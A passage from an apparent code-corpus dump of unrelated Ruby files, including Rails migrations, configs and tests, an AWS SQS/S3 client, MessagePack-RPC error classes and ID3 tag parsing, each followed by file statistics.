@snippet_objects ||= snippets.map do |key, snippet| # Key here is 'snippet_1'
if snippet['class_name']
klass = "Effective::Snippets::#{snippet['class_name'].classify}".safe_constantize
klass.new(snippet.merge!(locals).merge!(:region => self, :id => key)) if klass
end
end.compact
end
def global?
regionable_id == nil && regionable_type == nil
end
end
end
| 29.346939 | 167 | 0.650904 |
01eeec766c110c7179ce2846c0f24bcc5f653a1d | 252 | class CreateAppointment < ActiveRecord::Migration[7.0]
def change
create_table :appointments do |t|
t.string :location
t.date :dateOfAppointment
t.integer :user_id
t.integer :doctor_id
t.timestamps
end
end
end
| 21 | 54 | 0.674603 |
ff310ecb374b563100744a2a0eaa73fcf3576eba | 170 | class Profile < ApplicationRecord
attr_accessor :height_unit, :weight_unit
belongs_to :user
validates :height, :starting_weight, :name, :age, presence: true
end
| 18.888889 | 66 | 0.764706 |
bb00ee13cd2fc3d30473b4c9d71dae91df19b595 | 401 | # frozen_string_literal: true
namespace :db do
namespace :seed do
Dir[Rails.root.join('db', 'seeds', '*.rb')].each do |filename|
task_name = File.basename(filename, '.rb')
desc 'Seed ' + task_name + ', based on the file with the same name in `db/seeds/*.rb`'
task task_name.to_sym => :environment do
load(filename) if File.exist?(filename)
end
end
end
end
| 28.642857 | 92 | 0.63591 |
6a55ab54834fbcf0cd6dbaa92132e837dcd5a0b8 | 1,872 | # frozen_string_literal: true
Rails.application.configure do
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports.
config.consider_all_requests_local = true
# Enable/disable caching. By default caching is disabled.
if Rails.root.join('tmp', 'caching-dev.txt').exist?
config.action_controller.perform_caching = true
config.cache_store = :memory_store
config.public_file_server.headers = {
'Cache-Control' => 'public, max-age=172800'
}
else
config.action_controller.perform_caching = false
config.cache_store = :null_store
end
# Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = false
config.action_mailer.perform_caching = false
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise an error on page load if there are pending migrations.
config.active_record.migration_error = :page_load
# Debug mode disables concatenation and preprocessing of assets.
# This option may cause significant delays in view rendering with a large
# number of complex assets.
config.assets.debug = true
# Suppress logger output for asset requests.
config.assets.quiet = true
config.active_storage.service = :local
# Raises error for missing translations
# config.action_view.raise_on_missing_translations = true
# Use an evented file watcher to asynchronously detect changes in source code,
# routes, locales, etc. This feature depends on the listen gem.
# config.file_watcher = ActiveSupport::EventedFileUpdateChecker
end
| 33.428571 | 80 | 0.760684 |
391129d2e5e9dd8e93fc13d7189c2297749fbda5 | 544 | module Papapi
require_relative 'response'
class GridResponse < Response
include Enumerable
def attributes
parsed['rows'].first
end
def count
parsed['count']
end
def rows
parsed['rows'].slice(1, parsed['rows'].count-1)
end
def [] (key)
if rows[key.to_i]
return Hash[*attributes.zip(rows[key.to_i]).flatten]
end
end
def each
rows.each do |row|
yield Hash[*attributes.zip(row).flatten]
end
end
def to_a
rows
end
end
end | 16 | 60 | 0.582721 |
28148b2dfee24dce38c9f22a243101bd5c145c98 | 3,144 | require 'rails_helper'
RSpec.describe 'Candidate can carry over unsuccessful application to a new recruitment cycle' do
include CycleTimetableHelper
around do |example|
Timecop.freeze(mid_cycle) do
example.run
end
end
scenario 'when an unsuccessful candidate returns in the next recruitment cycle they can re-apply by carrying over their original application' do
given_i_am_signed_in
and_i_have_an_application_with_a_rejection
when_the_current_recruitment_cycle_ends
and_i_visit_my_application_complete_page
then_i_cannot_apply_again
when_the_next_recruitment_cycle_begins
and_i_visit_my_application_complete_page
and_i_click_on_apply_again
and_i_click_on_start_now
and_i_click_go_to_my_application_form
then_i_can_see_application_details
and_i_can_see_that_no_courses_are_selected
when_i_visit_the_carry_over_page_again
then_i_am_redirected_to_my_existing_application
end
def given_i_am_signed_in
@candidate = create(:candidate)
login_as(@candidate)
end
def and_i_have_an_application_with_a_rejection
@application_form = create(:completed_application_form, :with_completed_references, candidate: @candidate)
create(:application_choice, :with_rejection, application_form: @application_form)
end
def when_the_current_recruitment_cycle_ends
Timecop.safe_mode = false
Timecop.travel(after_apply_2_deadline)
ensure
Timecop.safe_mode = true
end
def then_i_cannot_apply_again
expect(page).not_to have_link 'Do you want to apply again?'
end
def when_the_next_recruitment_cycle_begins
Timecop.safe_mode = false
Timecop.travel(after_apply_reopens)
ensure
Timecop.safe_mode = true
end
def and_i_visit_my_application_complete_page
logout
login_as(@candidate)
visit candidate_interface_application_complete_path
end
def and_i_click_on_apply_again
expect(page).to have_content 'Do you want to continue applying?'
click_link 'Continue your application'
end
def and_i_click_on_start_now
expect(page).to have_content "Carry on with your application for courses starting in the #{RecruitmentCycle.cycle_name(RecruitmentCycle.next_year)} academic year."
expect(page).to have_content 'Your courses have been removed. You can add them again now.'
click_button 'Apply again'
end
def and_i_click_go_to_my_application_form
click_link 'Go to your application form'
end
def then_i_can_see_application_details
expect(page).to have_content('Personal information Completed')
click_link 'Personal information'
expect(page).to have_content(@application_form.full_name)
click_button t('continue')
end
def and_i_can_see_that_no_courses_are_selected
expect(page).to have_content('Choose your courses Incomplete')
click_link 'Choose your courses'
expect(page).to have_content 'You can apply for up to 3 courses'
end
def when_i_visit_the_carry_over_page_again
visit candidate_interface_start_carry_over_path
end
def then_i_am_redirected_to_my_existing_application
then_i_can_see_application_details
end
end
| 30.524272 | 167 | 0.800891 |
bfa99e6eb9f2fd3d0b0c043b414dd939a8f71c0d | 1,244 | App::Application.configure do
# Settings specified here will take precedence over those in config/application.rb
# The test environment is used exclusively to run your application's
# test suite. You never need to work with it otherwise. Remember that
# your test database is "scratch space" for the test suite and is wiped
# and recreated between test runs. Don't rely on the data there!
config.cache_classes = true
# Configure static asset server for tests with Cache-Control for performance
if config.respond_to?(:serve_static_files)
config.serve_static_files = true
else
# Remove when we drop Rails 4.1
config.serve_static_assets = true
end
config.static_cache_control = "public, max-age=3600"
# Show full error reports and disable caching
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
# Raise exceptions instead of rendering exception templates
config.action_dispatch.show_exceptions = false
# Disable request forgery protection in test environment
config.action_controller.allow_forgery_protection = false
# Print deprecation notices to the stderr
config.active_support.deprecation = :stderr
config.eager_load = false
end
| 35.542857 | 84 | 0.77492 |
5d7f0ffba504885fb1dce5736335d40baf3b4c6d | 1,523 | # frozen_string_literal: true
require 'spec_helper'
require Rails.root.join('db', 'migrate', '20191004081520_fill_productivity_analytics_start_date.rb')
RSpec.describe FillProductivityAnalyticsStartDate do
let(:settings_table) { table('application_settings') }
let(:metrics_table) { table('merge_request_metrics') }
before do
settings_table.create!
end
context 'with NO productivity analytics data available' do
it 'sets start_date to NOW' do
expect { migrate! }.to change {
settings_table.first&.productivity_analytics_start_date
}.to(be_like_time(Time.now))
end
end
context 'with productivity analytics data available' do
before do
ActiveRecord::Base.transaction do
ActiveRecord::Base.connection.execute('ALTER TABLE merge_request_metrics DISABLE TRIGGER ALL')
metrics_table.create!(merged_at: Time.parse('2019-09-09'), commits_count: nil, merge_request_id: 3)
metrics_table.create!(merged_at: Time.parse('2019-10-10'), commits_count: 5, merge_request_id: 1)
metrics_table.create!(merged_at: Time.parse('2019-11-11'), commits_count: 10, merge_request_id: 2)
ActiveRecord::Base.connection.execute('ALTER TABLE merge_request_metrics ENABLE TRIGGER ALL')
end
end
it 'set start_date to earliest merged_at value with PA data available' do
expect { migrate! }.to change {
settings_table.first&.productivity_analytics_start_date
}.to(be_like_time(Time.parse('2019-10-10')))
end
end
end
| 38.075 | 107 | 0.734077 |
1848db752e006062983400174bc11cf8db399435 | 7,559 | # frozen_string_literal: true
require "test_helper"
class RespLegalTest < ActiveSupport::TestCase
def test_a_un_fabricant_valid
assert Fabricate.build(:resp_legal).valid?
end
def test_detection_adresses_identiques_cas_degenere
assert RespLegal.new.adresse_inchangee?
end
def test_detection_adresses_identiques
rl = RespLegal.new(
adresse_ant: "4 IMPASSE MORLET",
ville_ant: "PARIS",
code_postal_ant: "75011",
adresse: "4 impasse Morlet\n",
ville: " Paris\r",
code_postal: "75 011"
)
assert rl.adresse_inchangee?
end
test "même adresse avec sois" do
resp = RespLegal.new adresse: "42 rue", code_postal: "75020", ville: "Paris"
assert resp.meme_adresse(resp)
end
test "même adresse même sur un autre resp" do
resp = RespLegal.new adresse: "42 rue", code_postal: "75020", ville: "Paris"
autre_resp = RespLegal.new(
adresse: resp.adresse,
code_postal: resp.code_postal,
ville: resp.ville
)
assert resp.meme_adresse(autre_resp)
end
test "nil n'est pas une même adresse" do
resp = RespLegal.new adresse: "42 rue", code_postal: "75020", ville: "Paris"
assert !resp.meme_adresse(nil)
end
test "si adresse est différent, ce n'est pas une même adresse" do
resp = RespLegal.new adresse: "42 rue", code_postal: "75020", ville: "Paris"
assert !resp.meme_adresse(RespLegal.new(
adresse: "30",
code_postal: resp.code_postal,
ville: resp.ville
))
end
test "si le code_postal est différent, ce n'est pas une même adresse" do
resp = RespLegal.new adresse: "42 rue", code_postal: "75020", ville: "Paris"
assert !resp.meme_adresse(RespLegal.new(
adresse: resp.adresse,
code_postal: "59001",
ville: resp.ville
))
end
test "si la ville est différent, ce n'est pas une même adresse" do
resp = RespLegal.new adresse: "42 rue", code_postal: "75020", ville: "Paris"
assert !resp.meme_adresse(RespLegal.new(
adresse: resp.adresse,
code_postal: resp.code_postal,
ville: "Lyon"
))
end
def test_adresse_inchangee_si_ancienne_vide
responsable_legal = RespLegal.new(
adresse: "42 rue",
code_postal: "75020",
ville: "Paris",
adresse_ant: nil,
ville_ant: nil,
code_postal_ant: nil
)
assert responsable_legal.adresse_inchangee?
end
test "renvoie un tableau vide si aucun moyen de communication renseigné" do
representant = Fabricate.build(:resp_legal, email: nil, tel_personnel: nil, tel_portable: nil, tel_professionnel: nil)
assert_equal [], representant.moyens_de_communication
end
test "renvoie l'email si renseigné" do
representant = Fabricate.build(:resp_legal, email: "[email protected]", tel_personnel: nil, tel_portable: nil, tel_professionnel: nil)
assert_equal ["[email protected]"], representant.moyens_de_communication
end
test "renvoie tel_professionnel si renseigné" do
representant = Fabricate.build(:resp_legal, email: nil, tel_personnel: nil, tel_portable: nil, tel_professionnel: "0123456789")
assert_equal ["0123456789"], representant.moyens_de_communication
end
test "renvoie tous les moyens de communication si tous renseignés" do
representant = Fabricate.build(:resp_legal,
email: "[email protected]",
tel_personnel: "01111111111",
tel_portable: "06666666666",
tel_professionnel: "0123456789")
assert_equal ["[email protected]", "01111111111", "0123456789", "06666666666"].sort, representant.moyens_de_communication.sort
end
test "nom_complet renvoie prénom et nom" do
representant = Fabricate(:resp_legal, nom: "Marley", prenom: "Bob")
assert_equal "Bob Marley", representant.nom_complet
end
test "tronque si pas de separateur" do
adresse = "100 Back Street Paradise 11201 BROOKLYN NY / USA"
resp_legal = Fabricate(:resp_legal,
adresse: adresse)
assert_equal "100 Back Street Paradise 11201", resp_legal.ligne1_adresse_siecle
assert_equal "BROOKLYN NY / USA", resp_legal.ligne2_adresse_siecle
end
test "aller jusqu'à 4 ligne d'adresse" do
adresse = "Résidence le claricy 1 bâtiment C appart 4760 3 éme étage 290 vois des hauts de clairicy "
# adresse = "Résidence le claricy 1 bâtiment C appart 4760 3 éme étage\r\n290 vois des hauts de clairicy "
resp_legal = Fabricate(:resp_legal, adresse: adresse)
assert_equal "Résidence le claricy 1 bâtiment C", resp_legal.ligne1_adresse_siecle
assert_equal "appart 4760 3 éme étage 290 vois des", resp_legal.ligne2_adresse_siecle
# assert_equal "appart 4760 3 éme étage\r\n290 vois des", resp_legal.ligne2_adresse_siecle
assert_equal "hauts de clairicy", resp_legal.ligne3_adresse_siecle
assert resp_legal.ligne1_adresse_siecle.length <= 38
assert resp_legal.ligne2_adresse_siecle.length <= 38
assert resp_legal.ligne3_adresse_siecle.length <= 38
end
test "découpe une adresse sur trois lignes en se fondant sur les retours à la ligne" do
adresse = <<~HERE
20 RUE DU VILLAGE DE MOINS DE 38
VILLE DE MOINS DE 38
BAT G
HERE
resp_legal = Fabricate(:resp_legal, adresse: adresse)
assert_equal "20 RUE DU VILLAGE DE MOINS DE 38", resp_legal.ligne1_adresse_siecle
assert_equal "VILLE DE MOINS DE 38", resp_legal.ligne2_adresse_siecle
assert_equal "BAT G", resp_legal.ligne3_adresse_siecle
end
test "découpe une adresse en se fondant sur les retours à la ligne et la limite des 38 caractères pour la 1ère ligne" do
adresse = <<~HERE
20 RUE DU VILLAGE DE PLUS DE 38 CARACTERES
VILLE
HERE
resp_legal = Fabricate(:resp_legal, adresse: adresse)
assert_equal "20 RUE DU VILLAGE DE PLUS DE 38", resp_legal.ligne1_adresse_siecle
assert_equal "CARACTERES", resp_legal.ligne2_adresse_siecle
assert_equal "VILLE", resp_legal.ligne3_adresse_siecle
end
test "découpe une adresse sur 4 lignes" do
adresse = <<~HERE
20 RUE DU VILLAGE DE PLUS DE 38 CARACTERES
VILLE TRES LONGUE DE PLUS DE 38 CARACTERES DU NOM DE VILLE
HERE
resp_legal = Fabricate(:resp_legal, adresse: adresse)
assert_equal "20 RUE DU VILLAGE DE PLUS DE 38", resp_legal.ligne1_adresse_siecle
assert_equal "CARACTERES", resp_legal.ligne2_adresse_siecle
assert_equal "VILLE TRES LONGUE DE PLUS DE 38", resp_legal.ligne3_adresse_siecle
assert_equal "CARACTERES DU NOM DE VILLE", resp_legal.ligne4_adresse_siecle
end
test "découpe une adresse malgré des lignes vides superflues" do
adresse = <<~HERE
20 RUE DU VILLAGE
VILLE
HERE
resp_legal = Fabricate(:resp_legal, adresse: adresse)
assert_equal "20 RUE DU VILLAGE", resp_legal.ligne1_adresse_siecle
assert_equal "VILLE", resp_legal.ligne2_adresse_siecle
end
test "découpe une adresse avec \r et \n" do
adresse = "20 RUE DU VILLAGE\r\n \r\r VILLE"
resp_legal = Fabricate(:resp_legal, adresse: adresse)
assert_equal "20 RUE DU VILLAGE", resp_legal.ligne1_adresse_siecle
assert_equal "VILLE", resp_legal.ligne2_adresse_siecle
end
end
| 37.795 | 137 | 0.679984 |
33133438f8939de64c8a5e11f0e302461e071b41 | 967 | module Fog
module AWS
class SQS
class Real
require 'fog/aws/parsers/sqs/send_message'
# Add a message to a queue
#
# ==== Parameters
# * queue_url<~String> - Url of queue to add message to
# * message<~String> - Message to add to queue
#
# ==== See Also
# http://docs.amazonwebservices.com/AWSSimpleQueueService/latest/APIReference/Query_QuerySendMessage.html
#
def send_message(queue_url, message)
request({
'Action' => 'SendMessage',
'MessageBody' => message,
:path => path_from_queue_url(queue_url),
:parser => Fog::Parsers::AWS::SQS::SendMessage.new
})
end
end
class Mock
def send_message(queue_url, message)
Fog::AWS::Mock.message_response(:sns, data[:queues][queue_url], message, options)
end
end
end
end
end
| 24.794872 | 113 | 0.552223 |
abb5493d5776c66e181e5f9ce5931b71d46caf4f | 937 | require File.dirname(__FILE__) + '/../lib/em/spec'
require 'bacon'
require File.dirname(__FILE__) + '/../lib/em/spec/bacon'
EM.spec_backend = EventMachine::Spec::Bacon
describe 'Bacon' do
should 'work as normal outside EM.describe' do
1.should == 1
end
end
EM.describe EventMachine do
should 'work' do
done
end
should 'have timers' do
start = Time.now
EM.add_timer(0.5){
(Time.now-start).should.be.close 0.5, 0.1
done
}
end
should 'have periodic timers' do
num = 0
start = Time.now
timer = EM.add_periodic_timer(0.5){
if (num += 1) == 2
(Time.now-start).should.be.close 1.0, 0.1
EM.__send__ :cancel_timer, timer
done
end
}
end
should 'have deferrables' do
defr = EM::DefaultDeferrable.new
defr.timeout(1)
defr.errback{
done
}
end
# it "should not block on failure" do
# 1.should == 2
# end
end | 18.019231 | 56 | 0.610459 |
b9abdf99244973aa4f658b1ae2491c5735969e78 | 147 | class RenameOrderItemsToLineItems < ActiveRecord::Migration
def change
rename_table :glysellin_order_items, :glysellin_line_items
end
end
| 21 | 62 | 0.823129 |
21079a54fc19bbffb516722e86eacfcbee3e41a8 | 4,387 | #
# MessagePack-RPC for Ruby
#
# Copyright (C) 2010-2011 FURUHASHI Sadayuki
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module MessagePack
module RPC
class Error < StandardError
end
##
## MessagePack-RPC Exception
##
#
# RPCError
# |
# +-- TimeoutError
# |
# +-- TransportError
# | |
# | +-- NetworkUnreachableError
# | |
# | +-- ConnectionRefusedError
# | |
# | +-- ConnectionTimeoutError
# | |
# | +-- MalformedMessageError
# | |
# | +-- StreamClosedError
# |
# +-- CallError
# | |
# | +-- NoMethodError
# | |
# | +-- ArgumentError
# |
# +-- ServerError
# | |
# | +-- ServerBusyError
# |
# +-- RemoteError
# |
# +-- RuntimeError
# |
# +-- (user-defined errors)
class RPCError < Error
def initialize(code, *data)
@code = code.to_s
@data = data
super(@data.shift || @code)
end
attr_reader :code
attr_reader :data
def is?(code)
if code.is_a?(Class) && code < RPCError
if code == RemoteError
return @code[0] != ?.
end
code = code::CODE
end
@code == code || @code[0,code.length+1] == "#{code}."
end
end
##
# Top Level Errors
#
class TimeoutError < RPCError
CODE = ".TimeoutError"
def initialize(msg)
super(self.class::CODE, msg)
end
end
class TransportError < RPCError
CODE = ".TransportError"
def initialize(msg)
super(self.class::CODE, msg)
end
end
class CallError < RPCError
CODE = ".CallError"
def initialize(msg)
super(self.class::CODE, msg)
end
end
class ServerError < RPCError
CODE = ".ServerError"
def initialize(msg)
super(self.class::CODE, msg)
end
end
class RemoteError < RPCError
CODE = ""
def initialize(code, *data)
super(code, *data)
end
end
##
# TransportError
#
class NetworkUnreachableError < TransportError
CODE = ".TransportError.NetworkUnreachableError"
end
class ConnectionRefusedError < TransportError
CODE = ".TransportError.ConnectionRefusedError"
end
class ConnectionTimeoutError < TransportError
CODE = ".TransportError.ConnectionTimeoutError"
end
class MalformedMessageError < TransportError
CODE = ".TransportError.ConnectionRefusedError"
end
class StreamClosedError < TransportError
CODE = ".TransportError.StreamClosedError"
end
##
# CallError
#
class NoMethodError < CallError
CODE = ".CallError.NoMethodError"
end
class ArgumentError < CallError
CODE = ".CallError.ArgumentError"
end
##
# ServerError
#
class ServerBusyError < ServerError
CODE = ".ServerError.ServerBusyError"
end
##
# RuntimeError
#
class RuntimeError < RemoteError
CODE = ".RuntimeError"
def initialize(msg, *data)
super("RuntimeError", msg, *data)
end
end
class RPCError
def self.create(code, data)
if code[0] == ?.
code = code.dup
while true
if klass = SYSTEM_ERROR_TABLE[code]
return klass.new(*data)
end
if code.slice!(/\.[^\.]*$/) == nil || code.empty?
return RPCError.new(code, *data)
end
end
elsif code == RuntimeError::CODE
RuntimeError.new(*data)
else
RemoteError.new(code, *data)
end
end
private
SYSTEM_ERROR_TABLE = {
TimeoutError::CODE => TimeoutError,
TransportError::CODE => TransportError,
CallError::CODE => CallError,
ServerError::CODE => ServerError,
NetworkUnreachableError::CODE => NetworkUnreachableError,
ConnectionRefusedError::CODE => ConnectionRefusedError,
ConnectionTimeoutError::CODE => ConnectionTimeoutError,
MalformedMessageError::CODE => MalformedMessageError,
StreamClosedError::CODE => StreamClosedError,
NoMethodError::CODE => NoMethodError,
ArgumentError::CODE => ArgumentError,
ServerBusyError::CODE => ServerBusyError,
}
end
end
end
| 20.404651 | 77 | 0.652154 |
03aff983aa06c6e928c5663eb58ab64cd251d7a3 | 163 | Before("@lambdapreview") do
@service = Aws::LambdaPreview::Resource.new
@client = @service.client
end
After("@lambdapreview") do
# shared cleanup logic
end
| 18.111111 | 45 | 0.723926 |
9114ced8be4960b3807d978972b1be44f1f4baa1 | 1,466 | # Copyright 2011-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompanying this file. This file is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
# ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
require 'uri'
require 'time'
module AWS
class S3
# @api private
class Request < Core::Http::Request
include Core::UriEscape
# @return [bucket] S3 bucket name
attr_accessor :bucket
# @return [String] S3 object key
attr_accessor :key
# @api private
attr_accessor :force_path_style
def host
path_style? ? @host : "#{bucket}.#{@host}"
end
def path_style?
if force_path_style
true
else
Client.path_style_bucket_name?(bucket)
end
end
def uri
parts = []
parts << bucket if bucket and path_style?
parts << escape_path(key) if key
path = '/' + parts.join('/')
querystring = url_encoded_params
uri = ''
uri << path
uri << "?#{querystring}" if querystring
uri
end
end
end
end
| 23.269841 | 78 | 0.626194 |
08d0ccc942277ba6626fe8b27c3b7f6d2737ba64 | 305 | # frozen_string_literal: true
# encoding: utf-8
require 'spec_helper'
require 'runners/unified'
base = "#{CURRENT_PATH}/spec_tests/data/crud_unified"
CRUD_UNIFIED_TESTS = Dir.glob("#{base}/**/*.yml").sort
describe 'CRUD unified spec tests' do
define_unified_spec_tests(base, CRUD_UNIFIED_TESTS)
end
| 21.785714 | 54 | 0.767213 |
21c07a1ffbc08dd10cc5908a8f85d0aaf2852616 | 405 | # frozen_string_literal: true
module Eve
class UpdateCorporationJob < ActiveJob::Base
queue_as :default
retry_on EveOnline::Exceptions::Timeout,
EveOnline::Exceptions::ServiceUnavailable,
EveOnline::Exceptions::BadGateway,
EveOnline::Exceptions::InternalServerError
def perform(corporation_id)
Eve::CorporationImporter.new(corporation_id).import
end
end
end
| 23.823529 | 57 | 0.748148 |
e9fc82055501ea4c9b01532eda9eabe10f86a2c3 | 8,787 | # frozen_string_literal: true
module Id3Taginator
module Frames
class Id3v2Frame
include Extensions::Encodable
include Extensions::ArgumentCheck
HEADER_SIZE_V_3_4 = 10
HEADER_SIZE_V_2 = 6
attr_accessor :options
attr_reader :frame_id
# builds an id3v2.2 frame of the given frame id and the given data stream. The data stream(0) must be after
# the frame id
#
# @param frame_id [String] the frame id
# @param file [StringIO, IO, file] the data stream
# @param options [Options::Options] the options to use
#
# @return [Id3v2Frame] the build id3v2.2 frame
def self.build_v2_frame(frame_id, file, options)
payload_size = Util::MathUtil.to_number(file.read(3)&.bytes)
frame_payload = file.read(payload_size)
raise Errors::Id3TagError, "Could not find any Frame data for #{frame_id}." if frame_payload.nil?
instance = new(frame_id, payload_size, nil, frame_payload, HEADER_SIZE_V_2, nil)
instance.options = options
instance.process_content(frame_payload)
instance
end
# builds an id3v2.3 frame of the given frame id and the given data stream. The data stream(0) must be after
# the frame id
#
# @param frame_id [String] the frame id
# @param file [StringIO, IO, file] the data stream
# @param options [Options::Options] the options to use
#
# @return [Id3v2Frame] the build id3v2.3 frame
def self.build_v3_frame(frame_id, file, options)
payload_size = Util::MathUtil.to_number(file.read(4)&.bytes)
flags = Id3v23FrameFlags.new(file.read(2))
decompressed_size = Util::MathUtil.to_number(file.read(4)&.bytes) if flags.compression?
if flags.compression?
compressed_data = file.read(payload_size)
raise Errors::Id3TagError, "Could not find any Frame data for #{frame_id}." if compressed_data.nil?
frame_payload = Util::CompressUtil.decompress_data(compressed_data)
# noinspection RubyScope
payload_size = decompressed_size
else
frame_payload = file.read(payload_size)
end
group_identify = nil
if flags.group_identity?
group_identify = frame_payload[0]
frame_payload = frame_payload[1..-1]
end
raise Errors::Id3TagError, "Could not find any Frame data for #{frame_id}." if frame_payload.nil?
instance = new(frame_id, payload_size, flags, frame_payload, HEADER_SIZE_V_3_4, group_identify)
instance.options = options
instance.process_content(frame_payload)
instance
end
# builds an id3v2.4 frame of the given frame id and the given data stream. The data stream(0) must be after
# the frame id
#
# @param frame_id [String] the frame id
# @param file [StringIO, IO, file] the data stream
# @param options [Options::Options] the options to use
#
# @return [Id3v2Frame] the build id3v2.4 frame
def self.build_v4_frame(frame_id, file, options)
payload_size = Util::MathUtil.to_32_synchsafe_integer(file.read(4)&.bytes)
flags = Id3v24FrameFlags.new(file.read(2))
frame_payload = file.read(payload_size)
raise Errors::Id3TagError, "Could not find any Frame data for #{frame_id}." if frame_payload.nil?
frame_payload = Util::SyncUtil.undo_synchronization(StringIO.new(frame_payload)) if flags.unsynchronisation?
frame_payload = Util::CompressUtil.decompress_data(frame_payload) if flags.compression?
group_identify = nil
if flags.group_identity?
group_identify = frame_payload[0]
frame_payload = frame_payload[1..-1]
end
raise Errors::Id3TagError, "Could not find any Frame data for #{frame_id}." if frame_payload.nil?
instance = new(frame_id, payload_size, flags, frame_payload, HEADER_SIZE_V_3_4, group_identify)
instance.options = options
instance.process_content(frame_payload)
instance
end
def self.build_id3_flags(version, flags = "\x00\x00")
case version
when 2
nil
when 3
Id3v23FrameFlags.new(flags)
when 4
Id3v24FrameFlags.new(flags)
else
raise Errors::Id3TagError, "Id3v.2.#{version} is not supported."
end
end
# Constructor
#
# @param frame_id [String] the frame id
# @param payload_size [Integer] the payload size (excludes header)
# @param flags [Id3v23FrameFlags, Id3v24FrameFlags, nil] the frame flags
# @param frame_payload [String] the decompressed and unsynchronized payload
# @param header_size [Integer] the frame header size, 6 vor v2, 10 otherwise
# @param group_identify [String, nil] the group identify if present
def initialize(frame_id, payload_size, flags, frame_payload, header_size = 10, group_identify = nil)
@header_size = header_size
@frame_id = frame_id.to_sym
@payload_size = payload_size
@flags = flags
@frame_payload = frame_payload
@group_identity = group_identify
end
# processes the frame payload for the specific frame
#
# @param _content [String] the frame payload
def process_content(_content)
raise NotImplementedError, 'Implement this in a the actual frame class.'
end
# dumps the frame content to the byte representation as a String
#
# @return [String] the byte array as String
def content_to_bytes
raise NotImplementedError, 'Implement this in the actual frame class.'
end
# dumps the frame to a byte string. This dump already takes unsynchronization, padding and all other
# options into effect
#
# @return [String] frame dump as a String. tag.bytes represents the byte array
def to_bytes
size_padding = @frame_id.to_s.length == 3 ? 6 : 8
payload = content_to_bytes
payload_size_decompressed = Util::MathUtil.from_number(payload.length, size_padding)
result = @frame_id.to_s
if @flags&.compression?
payload_compressed = Util::CompressUtil.compress_data(payload)
payload_size_compressed = payload_compressed.size
result += Util::MathUtil.from_number(payload_size_compressed, size_padding)
else
result += payload_size_decompressed
end
result += @flags.to_bytes unless @flags.nil?
result += payload_size_decompressed if @flags&.compression?
result += @group_identity if @flags&.group_identity?
# noinspection RubyScope
result += @flags&.compression? ? payload_compressed : payload
result
end
# recalculates the payload size
def re_calc_payload_size
@payload_size = content_to_bytes.length
end
# calculates the frame size including header and payload, takes compression, group identity and everything
# into effect
#
# @return [Integer] the frame size in bytes
def frame_size
compression = compression? ? 4 : 0
group_identity = group_identity? ? 1 : 0
# noinspection RubyMismatchedReturnType
@header_size + @payload_size + compression + group_identity
end
# determined if the frame is alter preserved
#
# @return [Boolean] true if alter preserved, else false
def tag_alter_preservation?
return false if @flags.nil?
@flags.tag_alter_preservation?
end
# determined if the file is alter preserved
#
# @return [Boolean] true if the file is alter preserved, else false
def file_alter_preservation?
return false if @flags.nil?
@flags.file_alter_preservation?
end
# determined if the file frame is read only
#
# @return [Boolean] true if frame is read only, else false
def read_only?
return false if @flags.nil?
@flags.read_only?
end
# determined if the frame is compressed
#
# @return [Boolean] true if the frame is compressed, else false
def compression?
return false if @flags.nil?
@flags.compression?
end
# determined if the frame is encrypted
#
# @return [Boolean] true if the frame is encrypted, else false
def encryption?
return false if @flags.nil?
@flags.encryption?
end
# determined if the frame has a group identity
#
# @return [Boolean] true if the frame has a group identity, else false
def group_identity?
return false if @flags.nil?
@flags.group_identity?
end
end
end
end
| 35.148 | 116 | 0.65631 |
1a244b1a579ea007326ea509dfb2db5932cdb87a | 2,983 | require_relative '../../utils'
require_relative './inflection/term'
require_relative './inflection/part_of_speech'
require_relative './inflection/declension'
require_relative './inflection/case'
require_relative './inflection/gender'
require_relative './inflection/degree'
require_relative './inflection/mood'
require_relative './inflection/number'
require_relative './inflection/person'
require_relative './inflection/tense'
require_relative './inflection/voice'
require_relative './inflection/dialect'
require_relative './inflection/stem_type'
require_relative './inflection/derivation_type'
require_relative './inflection/morphology'
class Parser
class Word
class Entry
class Inflection
# rubocop:disable Metrics/MethodLength
# rubocop:disable Metrics/AbcSize
def initialize(doc) # rubocop:disable Metrics/CyclomaticComplexity
doc.xpath('./*').each do |element| # rubocop:disable Metrics/BlockLength
case element.name
when 'term'
@term = Term.new(element)
when 'pofs'
@part_of_speech = PartOfSpeech.new(element)
when 'decl'
@declension = Declension.new(element)
when 'case'
@case = Case.new(element)
when 'gend'
@gender = Gender.new(element)
when 'comp'
@degree = Degree.new(element)
when 'mood'
@mood = Mood.new(element)
when 'num'
@number = Number.new(element)
when 'pers'
@person = Person.new(element)
when 'tense'
@tense = Tense.new(element)
when 'voice'
@voice = Voice.new(element)
when 'dial'
@dialect = Dialect.new(element)
when 'stemtype'
@stem_type = StemType.new(element)
when 'derivtype'
@derivation_type = DerivationType.new(element)
when 'morph'
@morphology = Morphology.new(element)
else
raise Utils::NoMatchingClassError, element
end
end
end
# rubocop:enable Metrics/AbcSize
# rubocop:enable Metrics/MethodLength
def bamboo_xml
@bamboo_xml ||= %(<infl>#{components.map(&:bamboo_xml).join("\n")}</infl>)
end
def bamboo_json
@bamboo_json ||= components.reduce({}) { |m, n| m.merge!(n.bamboo_json) }
end
private
def components # rubocop:disable Metrics/MethodLength
[
@term,
@part_of_speech,
@declension,
@case,
@gender,
@degree,
@mood,
@number,
@person,
@tense,
@voice,
@dialect,
@stem_type,
@derivation_type,
@morphology,
].compact
end
end
end
end
end
| 30.131313 | 84 | 0.560845 |
